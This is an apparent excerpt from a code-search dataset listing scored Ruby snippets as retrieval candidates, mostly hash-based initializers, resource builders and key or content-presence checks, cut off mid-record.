"docid": "7e9d946a5f36b8576c49c3252593ad85",
"score": "0.64716464",
"text": "def create_with(hash = {}, named_mapping = nil)\n named_mapping = self.class_name unless named_mapping\n\n self.create(with_attributes(named_mapping, hash)) do |r|\n id = hash[self.attr_hashed_id]\n r.id = id if id\n end\n end",
"title": ""
},
{
"docid": "1aeb5b7cb9c689d44ddf49dfbb64719b",
"score": "0.64704096",
"text": "def initialize_from_hash(hsh)\n @timestamp = hsh[:timestamp]\n @label = hsh[:label]\n @type = hsh[:type].to_sym\n @data = hsh[:data]\n @path = File.join(session.path, \"#{label}.json\")\n @defer_sync = false\n end",
"title": ""
},
{
"docid": "98658442341994a6f20ff761da379499",
"score": "0.64582384",
"text": "def new(*args)\n if(args.first.is_a? Hash)\n hash = args.first\n begin\n __new__(*args).from_hash(hash)\n rescue Exception => e\n __new__.from_hash(hash)\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "1b5c27538841a18c18c9251ee353d906",
"score": "0.6435059",
"text": "def initialize( hash=nil )\n\t\t\thash ||= {}\n\t\t\t@hash = symbolify_keys( hash )\n\t\t\t@dirty = false\n\t\tend",
"title": ""
},
{
"docid": "17d04995dca216a21e24e3a330ef54d9",
"score": "0.6419633",
"text": "def from_hash hash\n @id= hash['id']\n\n @name= hash['name']\n @user_id= hash['user_id']\n @url= hash['url']\n @cron= hash['cron']\n @timezone= hash['timezone']\n @next_execution= hash.has_key?('next_execution') ? DateTime.parse(hash['next_execution']) : nil\n @enabled= hash['enabled']\n @timeout= hash['timeout']\n\n @mail_when_success = hash['mail_when_success']\n @mail_when_failure = hash['mail_when_failure']\n\n @created_at= DateTime.parse(hash['created_at'])\n @updated_at= DateTime.parse(hash['updated_at'])\n end",
"title": ""
},
{
"docid": "8f743597a7129a04ef420ed126b1a94d",
"score": "0.6408492",
"text": "def initialize(initial_hash = nil)\n super\n from_h!(initial_hash) unless initial_hash.nil?\n self.type = 'response'\n end",
"title": ""
},
{
"docid": "1a19839795db041c37ada01bb2eedd67",
"score": "0.64004993",
"text": "def initialize_from_hash(hsh)\n @timestamp = hsh[:timestamp]\n @label = hsh[:label]\n @type = hsh[:type].to_sym\n @data = hsh[:data]\n @path = File.join(session.directory, \"#{label}.json\")\n end",
"title": ""
},
{
"docid": "4b652fa08afc92992ef45e8352f4246b",
"score": "0.63753104",
"text": "def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @responseContent = extract_value(hash, :responseContent)\n @password = extract_value(hash, :password)\n @ticket = extract_value(hash, :ticket)\n @username = extract_value(hash, :username)\n end",
"title": ""
},
{
"docid": "98bd7a5abd8267b445da3cfd1643e66f",
"score": "0.6371699",
"text": "def initialize(hash_or_object)\n @expected = {}\n case hash_or_object\n when Hash then @expected = hash_or_object\n else @expected[:id] = hash_or_object.to_param\n end\n end",
"title": ""
},
{
"docid": "f6ac21dde4f192eec2183cb3d3067bdd",
"score": "0.63523537",
"text": "def initialize(hash)\n @id = hash[\"id\"]\n @isbn = hash[\"isbn\"]\n @book_id = hash[\"book_id\"]\n @author = hash[\"author\"]\n @edition_num = hash[\"edition\"]\n @publisher = hash[\"publisher\"]\n @cover = hash[\"cover\"]\n @image = hash[\"image\"]\n @title = hash[\"title\"]\n @for_sale = hash[\"for_sale\"]\n @course_code = hash[\"course_code\"]\n end",
"title": ""
},
{
"docid": "8820271f1dbb47bb95e7ec6e0d798558",
"score": "0.6350207",
"text": "def from_hash(hsh)\n if hsh.class != Hash\n raise ArgumentError, \"Provided argument must be a hash.\"\n end\n @raw=hsh\n end",
"title": ""
},
{
"docid": "74179537bf975a819e6e44e9e745f3df",
"score": "0.63477343",
"text": "def initialize(hash = {})\n\t\t\tif (hash.kind_of? TypeSafeHash)\n\t\t\t\t@real_hash = hash.to_hash\n\t\t\telsif (hash.kind_of? Hash)\n\t\t\t\t@real_hash = hash\n\t\t\telse\n\t\t\t\traise ArgumentError, \"TypeSafeHash expects a hash object for its initializer\"\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "09cf4b3c75df015dfa153ad5084bfca6",
"score": "0.6344379",
"text": "def from_hash hash\n @id= hash['id']\n\n @task_id= hash['task_id']\n @status= hash['status']\n @started_at= DateTime.parse(hash['started_at'])\n @duration= hash['duration']\n @response= hash['response']\n end",
"title": ""
},
{
"docid": "d1d04260aa03ab3728ee592c081e4825",
"score": "0.6340124",
"text": "def new(res)\n begin\n self.id = res['_id'], self.account = res['_account'], self.amount = res['amount'], self.name = res['name'], self.meta = res['meta'], self.location = res['location'], self.pending = res['pending'], self.score = res['score'], self.type = res['type'], self.category = res['category'], self.category_id = res['category_id']\n rescue => e\n error_handler(e)\n end\n end",
"title": ""
},
{
"docid": "77f974efafc21803fa3f54566b8469c7",
"score": "0.63266826",
"text": "def from_hash(hash, options = {})\n instance = new\n instance.client = extract_client!(options)\n\n hash.inject(instance) do |instance, (key, value)|\n method = :\"#{Util.underscore(key)}=\"\n\n if instance.respond_to?(method)\n instance.send(method, value)\n end\n\n instance\n end\n end",
"title": ""
},
{
"docid": "afabc53180a7f0ef9eca3f4a2ba9337e",
"score": "0.6324363",
"text": "def new_from_hash_marketplace (h)\n self.original_id = h[\"id\"]\n self.scu = h[\"vendorCode\"]\n if ( h[\"picture\"].class == Array )\n h[\"picture\"].each do |a|\n p= Picture.new\n self.pictures << p.new_from_hash_marketplace( a )\n end \n else \n p= Picture.new\n self.pictures << p.new_from_hash_marketplace( h[\"picture\"] )\n end\n return self\n end",
"title": ""
},
{
"docid": "b0c4d5f899f3cd3925fcae2a244555ef",
"score": "0.6320644",
"text": "def new(res)\n self.id = res['_id']\n self.account = res['_account']\n self.amount = res['amount']\n self.name = res['name']\n self.meta = res['meta']\n self.location = res['location']\n self.pending = res['pending']\n self.score = res['score']\n self.type = res['type']\n\n self.category = res['category']\n self.category_id = res['category_id']\n return self\n rescue => e\n error_handler(e)\n end",
"title": ""
},
{
"docid": "8f37e7ebc44ebd17a8ea551be9b64e8d",
"score": "0.63199157",
"text": "def build_response(h)\n OpenStruct.new(h)\n end",
"title": ""
},
{
"docid": "8f37e7ebc44ebd17a8ea551be9b64e8d",
"score": "0.63199157",
"text": "def build_response(h)\n OpenStruct.new(h)\n end",
"title": ""
},
{
"docid": "24ca93e3e16c6bc87be3ab5c9a1876c4",
"score": "0.63182646",
"text": "def make_klass(klass_hash)\n response = RestClient.get('http://dnd5eapi.co' + klass_hash['url'])\n json = JSON.parse(response)\n\n if json != nil\n klass = Klass.new(\n api_id: json['_id'],\n name: json['name'],\n hitdie: json['hit_die']\n )\n if klass.valid?\n klass.save\n load_klass_levels(klass.name)\n end\n end\nend",
"title": ""
},
{
"docid": "7c45b706f0a2fa718ce06e66bf0fea6b",
"score": "0.6318235",
"text": "def initialize(hash = {})\n @id = hash['id']\n @title = hash['title']\n @body = hash['body']\n @user_id = hash['user_id']\n end",
"title": ""
},
{
"docid": "e2226d59fc661c90960b7919b761d425",
"score": "0.63125604",
"text": "def initialize(hash={})\n @hash = hash\n end",
"title": ""
},
{
"docid": "ccca437f0aaa4fb9095c3a5a3326f6cc",
"score": "0.6309079",
"text": "def initialize(hash)\n @id = hash[\"personId\"]\n @date_of_birth = hash[\"dateOfBirth\"]\n @gender = hash[\"gender\"]\n @first_name = hash[\"firstName\"]\n @last_name = hash[\"lastName\"]\n @email = hash[\"email\"]\n @publication_status = hash[\"publicationStatus\"]\n @username = hash[\"username\"]\n @employee = hash[\"employee\"]\n @affiliated = hash[\"affiliated\"]\n @student = hash[\"student\"]\n end",
"title": ""
},
{
"docid": "3d05b5490ae0b97800541421e873993b",
"score": "0.62898624",
"text": "def initialize(hash={})\n @hash = hash\n end",
"title": ""
},
{
"docid": "6fb1ebc0edca0cc260c524be5f88945c",
"score": "0.62817675",
"text": "def json_single(hash)\n logger.debug \"Converting #{hash.inspect} into a single instance\" if logger_debug?\n instance = @_ib.get hash[:kind], mixins: lookup(hash[:mixins]), actions: lookup(hash[:actions])\n\n set_attributes! instance, hash[:attributes]\n set_links! instance, hash[:links] if instance.respond_to?(:links)\n set_target! instance, hash[:target] if instance.respond_to?(:target)\n\n logger.debug \"Created instance #{instance.inspect}\" if logger_debug?\n Set.new [instance]\n end",
"title": ""
},
{
"docid": "44efb9947ee65e8b20979ffadd3a0854",
"score": "0.62809753",
"text": "def initialize(hash={})\n update_from_json(hash)\n end",
"title": ""
},
{
"docid": "65dff1f1d61a989af2d17ec62a30f13d",
"score": "0.62753975",
"text": "def initialize(key,hash)\n @key = key\n @value = hash\n self.put(key,hash)\n end",
"title": ""
},
{
"docid": "27be92f6c0d19e8a27b8650206ff8f9b",
"score": "0.6271172",
"text": "def from_hash(hash)\n super\n @platform_identifier = hash['platformIdentifier'] if hash.has_key? 'platformIdentifier'\n @sdk_identifier = hash['sdkIdentifier'] if hash.has_key? 'sdkIdentifier'\n @sdk_creator = hash['sdkCreator'] if hash.has_key? 'sdkCreator'\n @integrator = hash['integrator'] if hash.has_key? 'integrator'\n @shopping_cart_extension = Domain::Metadata::ShoppingCartExtension.new_from_hash(hash['shoppingCartExtension']) if hash.has_key? 'shoppingCartExtension'\n end",
"title": ""
},
{
"docid": "44ae6456b508ffe8ea0df15c1b54322c",
"score": "0.6264806",
"text": "def create(hsh = {})\n obj = self.new(hsh || {})\n obj.save \n obj\n end",
"title": ""
},
{
"docid": "c2b9351554f5f66191de072341340592",
"score": "0.6253826",
"text": "def build_resource(hash=nil)\r\n self.resource = resource_class.new_with_session(hash || {}, session)\r\n end",
"title": ""
},
{
"docid": "75442623fad60ce1a152a4b9ddc28545",
"score": "0.6247234",
"text": "def build_resource(hash = nil)\n resource_class.new_with_session(hash || {}, {})\n end",
"title": ""
},
{
"docid": "00ba555bdffd1741a118f7ea3a933205",
"score": "0.6244215",
"text": "def from_hash(data)\n @discovery_method = data.fetch(\"discovery_method\", \"mc\")\n @agents = data.fetch(\"agents\", [\"rpcutil\"])\n @facts = data.fetch(\"facts\", [])\n @classes = data.fetch(\"classes\", [])\n @identity = data.fetch(\"identities\", [])\n @compound = data[\"compound\"]\n\n @_rpc_client = nil\n\n self\n end",
"title": ""
},
{
"docid": "27512c2e772c569c74d258220fe2e108",
"score": "0.6224307",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "c2592b62ff3260684ac915635ab80c2f",
"score": "0.6211052",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "b150d354e8f8e464de4cbd7cdee529d5",
"score": "0.6204383",
"text": "def new\n @hash_tag = HashTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hash_tag }\n end\n end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.61956334",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.61956334",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.61956334",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "0cb5e3646d984b8978f0f6b9637cc096",
"score": "0.6193902",
"text": "def create_object( acl, metadata, data, mimetype, hash = nil)\n uri = URI::HTTP.build( {:host => @host, :port => @port,\n :path => @context + \"/objects\" } )\n\n headers = {}\n if( data == nil )\n data = \"\"\n end\n\n headers[\"content-length\"] = String(data.length())\n\n if( acl )\n process_acl( acl, headers )\n end\n\n if( metadata )\n process_metadata( metadata, headers )\n end\n\n if( hash )\n update_hash( hash, data, headers )\n end\n\n request = build_request( EsuRestApi::POST, uri, headers, mimetype )\n request.body = data\n\n response = @session.request( request )\n\n handle_error( response )\n\n return ID_EXTRACTOR.match( response[\"location\"] )[1].to_s\n end",
"title": ""
},
{
"docid": "065cb44dfbdab26ace681a703c35ab61",
"score": "0.61870676",
"text": "def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
},
{
"docid": "631d5266c4f9b3db671a6bd935d27611",
"score": "0.6185008",
"text": "def initialize (hash = nil)\n @struct = Hash.new\n @struct = hash if hash.is_a? Hash\n end",
"title": ""
},
{
"docid": "e170a2e8d6900222f6b60b17f2420f8d",
"score": "0.61835825",
"text": "def build_resource(hash = nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"title": ""
}
] |
ae80334e9f87b8fc81f8ddd2332fc681
|
Additional content key defined check
|
[
{
"docid": "6202e4b70a62a5d90fe99c952ae9b8f8",
"score": "0.7393192",
"text": "def additional_content_key_defined?\n return true if additional_content_key_exists?\n\n if Rails.env.development?\n raise AdditionalContentKeyNotDefined,\n \"Key not defined in AdditionalContent: '#{additional_content_key}'\"\n end\n end",
"title": ""
}
] |
[
{
"docid": "c1c7a119770abe10f867705d7a67f704",
"score": "0.7525482",
"text": "def key?(key)\n @content.key?(key)\n end",
"title": ""
},
{
"docid": "92d98afbb6f9d52ba4ee1ee27cce925b",
"score": "0.7416962",
"text": "def additional_content_key_exists?\n ::AdditionalContent::AREAS.include?(additional_content_key)\n end",
"title": ""
},
{
"docid": "40c741cb234d98e45e7e1650997fc913",
"score": "0.7254773",
"text": "def content_for? key\n (defined? @content) && (@content.key? key)\n end",
"title": ""
},
{
"docid": "c2eec0867774ad74035e0b91956bb381",
"score": "0.72315145",
"text": "def content_for? key\n (defined? @content) && (@content.key? key)\n end",
"title": ""
},
{
"docid": "c2eec0867774ad74035e0b91956bb381",
"score": "0.72315145",
"text": "def content_for? key\n (defined? @content) && (@content.key? key)\n end",
"title": ""
},
{
"docid": "76afff16c6ad8ac5074c2f94e1679f4f",
"score": "0.70242774",
"text": "def content_for?(key)\n content_blocks[key.to_sym].any?\n end",
"title": ""
},
{
"docid": "20eb3f1a2db6edbc9835553c60575a6b",
"score": "0.69797045",
"text": "def has_content?(key)\n return false unless content_blocks.keys.include?(key.to_sym)\n content_blocks[key.to_sym].any?\n end",
"title": ""
},
{
"docid": "055c46a210455f451c86a76e07af01f0",
"score": "0.6971279",
"text": "def content_for?(key)\n content_blocks[key.to_sym].any?\n end",
"title": ""
},
{
"docid": "db69817d9c4b572136c88c57993dc1c2",
"score": "0.6883681",
"text": "def content_for?(key)\n (content_blocks[key.to_sym] || Array.new).any?\n end",
"title": ""
},
{
"docid": "8bb25021cd8dc9874e5f7e412a01ca6e",
"score": "0.68797284",
"text": "def content_for?(key)\n !content_blocks[key.to_sym].empty?\n end",
"title": ""
},
{
"docid": "c4e45af595f939d4a47723d65ec4ed06",
"score": "0.6765387",
"text": "def content_for?(key)\n inbox[:tilt_content_for] ||= {}\n inbox[:tilt_content_for][key] ||= []\n\n !inbox[:tilt_content_for][key].empty?\n end",
"title": ""
},
{
"docid": "c2b93f727d897d580c24393ccc912e32",
"score": "0.65775007",
"text": "def check_key_valid; end",
"title": ""
},
{
"docid": "656508c1ccf05c297673401bd38370a9",
"score": "0.64799935",
"text": "def has_content=(_); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.6436475",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "60a67fed3d38101e66450a9c97d5d24d",
"score": "0.63825154",
"text": "def has_key(key); end",
"title": ""
},
{
"docid": "88da072a71e5dd32902e40a9f711e464",
"score": "0.6339034",
"text": "def snippet_has_content?(key)\n !SnippetStoreService.send(snippet_key(key)).blank?\n end",
"title": ""
},
{
"docid": "1c70951404751fb8d05619fd047ea60c",
"score": "0.63350636",
"text": "def key_valid?(key_value); end",
"title": ""
},
{
"docid": "a8bc211805ca6d9296201856f950304a",
"score": "0.6327052",
"text": "def required(key); end",
"title": ""
},
{
"docid": "fd976037582f5200b05425151b2c17c7",
"score": "0.6318364",
"text": "def include?(key)\n\t\tend",
"title": ""
},
{
"docid": "a8f1a13ae9acd51fc86f0d6134c52f5c",
"score": "0.63168156",
"text": "def content_check(content,username)\n @@words.each do |key, type|\n if content.include? key\n exec_command(type,username)\n end\n end\n end",
"title": ""
},
{
"docid": "457062d4d4bee06f010e0e8ada0d3ffb",
"score": "0.6314906",
"text": "def contains(key)\n \n end",
"title": ""
},
{
"docid": "22db941c098ddcfd934e2b5ddbced59e",
"score": "0.63085127",
"text": "def key?(key)\n end",
"title": ""
},
{
"docid": "3b73669a577124cf692e6a3b0203dc65",
"score": "0.6274453",
"text": "def has_key?(name)\r\n end",
"title": ""
},
{
"docid": "1ad2c86695e6b4903fb9a72c2d63a39b",
"score": "0.6273592",
"text": "def has_key? key\n super( encode(key) )\n end",
"title": ""
},
{
"docid": "1403900a5e216e59071babfedb681f5e",
"score": "0.62712926",
"text": "def key?(key) super(key.to_sym) end",
"title": ""
},
{
"docid": "5c62290112d97e3c41d07a51f00ee995",
"score": "0.6244678",
"text": "def include?(key); end",
"title": ""
},
{
"docid": "5c62290112d97e3c41d07a51f00ee995",
"score": "0.6244678",
"text": "def include?(key); end",
"title": ""
},
{
"docid": "5c62290112d97e3c41d07a51f00ee995",
"score": "0.6244678",
"text": "def include?(key); end",
"title": ""
},
{
"docid": "b9124e50055ed4d924dca72b9b6b567a",
"score": "0.6232764",
"text": "def has_section?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6214539",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6214539",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6214539",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6214539",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6214539",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6214539",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "a6e04a8d84359b7ffcf35ee3d611e142",
"score": "0.6200907",
"text": "def validate_keys jdoc\n special_keys = %w{_id _rev _deleted _attachments}\n jdoc.each do |k,v|\n if k[0] == \"_\"\n raise BoothError.new(500, \"doc_validation\", \"bad special field '#{k}'\") unless special_keys.include?(k)\n end\n end\n end",
"title": ""
},
{
"docid": "1f1f99224b8a6b335f49ba6d180e06f9",
"score": "0.6157955",
"text": "def special_resources_check(key)\n special_resources = %w(resourceUri actualNetworkUri expectedNetworkUri uri firmwareBaselineUri actualNetworkSanUri dependentResourceUri\n sspUri associatedUplinkSetUri associatedTaskUri parentTaskUri snapshotPoolUri volumeStoragePoolUri\n volumeStorageSystemUri baselineUri mountUri nativeNetworkUri enclosureUris oeBuildPlanURI osVolumeURI\n osDeploymentPlanUri)\n return key unless special_resources.include?(key)\n # Assigns the correct key to be used with find_by, and adds 'Uri' to the end of the key\n # to make it compatible with the get_class method which will be called after this\n new_key = special_resources_assign(key)\n new_key + 'Uri'\nend",
"title": ""
},
{
"docid": "9aa02cdc2f669b19a207db39dba507e4",
"score": "0.61333776",
"text": "def valid?(key); end",
"title": ""
},
{
"docid": "76ae2ee436ddd6b544b164455f1c267d",
"score": "0.6129245",
"text": "def has_content?(name)\n (@has_content && @has_content[name]) || false\n end",
"title": ""
},
{
"docid": "7647e8d36cb00d911af16b407b592421",
"score": "0.61287326",
"text": "def validate_key!\n end",
"title": ""
},
{
"docid": "85503610513b9cbf042523a63873d41b",
"score": "0.6127134",
"text": "def key?(name); end",
"title": ""
},
{
"docid": "9cf37781ce653585f9d53b4f0d3861a0",
"score": "0.6125849",
"text": "def has_key?(k)\n body_hash.has_key? k.to_s\n end",
"title": ""
},
{
"docid": "797948ae9bd7c52dd5d45eb6f4186c8a",
"score": "0.6099636",
"text": "def has_key_text?(key_text)\n return true if key_text.nil?\n @comment.include?(key_text)\n end",
"title": ""
},
{
"docid": "54c55f932b0eea52752b2727b5cf06e7",
"score": "0.60930663",
"text": "def include?(key); has_key?(key); end",
"title": ""
},
{
"docid": "45ba68391a1ddbbf6954ccbec554c78d",
"score": "0.60907114",
"text": "def validate_key(id,magickey)\nend",
"title": ""
},
{
"docid": "7910a4da3c66ea66472446af4ab977b6",
"score": "0.6078567",
"text": "def has_content; end",
"title": ""
},
{
"docid": "98b2dacb7ada4825d5fae9748dc727b7",
"score": "0.6064627",
"text": "def check_key_exists_for_all(response, data, key)\n data.each do |article|\n article.has_key?(key).should be_true\n end\n end",
"title": ""
},
{
"docid": "afd9db6805086e50655a3500b99124a5",
"score": "0.60543406",
"text": "def key?(key)\n\t\tsuper(convert_key(key))\n\tend",
"title": ""
},
{
"docid": "9083480c05750b9ca7fa7ef4e3418fcd",
"score": "0.60524845",
"text": "def has_key?(*args); end",
"title": ""
},
{
"docid": "7c58e5a37daf5cacec90501c571b2b76",
"score": "0.6044303",
"text": "def allow_html_in_key(key)\n return true if key =~ /^cg\\.copy\\.home\\.steps/\n return true if key =~ /^cg\\.copy\\.teams\\.index\\.a_team_is_a_group/\n false\n end",
"title": ""
},
{
"docid": "65a1e307ed5306760273c167a59d434c",
"score": "0.60303867",
"text": "def filter_key?(key); end",
"title": ""
},
{
"docid": "fb354b10c2b163152882cc5ee59cf651",
"score": "0.60258704",
"text": "def meta_exist?(section, key)\n p_exist?(:keys => [:sections, section, key])\n end",
"title": ""
},
{
"docid": "8425302e87f16e7327647219a881c98a",
"score": "0.60254097",
"text": "def test_00080_check_topic_page_content\n assert_all_keys({\n :last_activity => @admin_topics_page.topic_last_activity_at_index(0).present?,\n :topic_feature_icon => @admin_topics_page.topic_feature_icon_at_index(0).present?,\n :topic_image => @admin_topics_page.topic_avatar_at_index(0).present? || \n @admin_topics_page.topic_default_avatar_at_index(0).present?,\n :new_topic_button => @admin_topics_page.topic_new.present?,\n })\n end",
"title": ""
},
{
"docid": "1c498a507036bb51757dd8d9abdaaeea",
"score": "0.6020221",
"text": "def has_content_id?; end",
"title": ""
},
{
"docid": "1c498a507036bb51757dd8d9abdaaeea",
"score": "0.6020221",
"text": "def has_content_id?; end",
"title": ""
},
{
"docid": "b65219059ebc1157e39bb1e71c51c206",
"score": "0.6013305",
"text": "def dynamically_generated_key?(key)\n key.start_with? \"_\"\n end",
"title": ""
},
{
"docid": "4b02d17fbbeffdcc7692541a3814b4b6",
"score": "0.6009144",
"text": "def contains(key)\n end",
"title": ""
},
{
"docid": "cbef4e2277981b45ec310cdabf494517",
"score": "0.60090387",
"text": "def set_has_content\n self.has_content = self.question_pairing_disability_translations.index{|x| x.content.present?}.present?\n return true\n end",
"title": ""
},
{
"docid": "f93af9ab15e810225d65ff86a15821fd",
"score": "0.6003902",
"text": "def check_key_value_exists_for_all(response, data, key)\n data.each do |article|\n article[key].should_not be_nil\n article[key].to_s.length.should > 0\n end\n end",
"title": ""
},
{
"docid": "c5bc881d4fa5f99e7c5b304b4f6c361e",
"score": "0.6003608",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "fa4c6dbc86968e2caa6bdb38cbe3723a",
"score": "0.59867024",
"text": "def present?(key); end",
"title": ""
},
{
"docid": "fa4c6dbc86968e2caa6bdb38cbe3723a",
"score": "0.59867024",
"text": "def present?(key); end",
"title": ""
},
{
"docid": "de74be32aa2487a533e513fc4cbbba3a",
"score": "0.5985973",
"text": "def configured?(key); end",
"title": ""
},
{
"docid": "3632c1e0680d4f21f57e470a2a9c89b1",
"score": "0.59802485",
"text": "def validate_additional(key, value)\n # Value for 'additional key' should present and have valid format\n key_condition = value_present?(key) && valid_format?(key, ADDITIONAL_KEY_FORMAT)\n invalid_value('additional key') unless key_condition\n\n # Value for 'additional value' should present\n value_condition = value_present?(value)\n invalid_value('additional value') unless value_condition\n end",
"title": ""
},
{
"docid": "e568cd72fdcd8d1e2b843ab5434d4013",
"score": "0.59730166",
"text": "def check_key(response, data, key)\n data[key.to_s].should_not be_nil\n data[key.to_s].to_s.length.should > 0\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
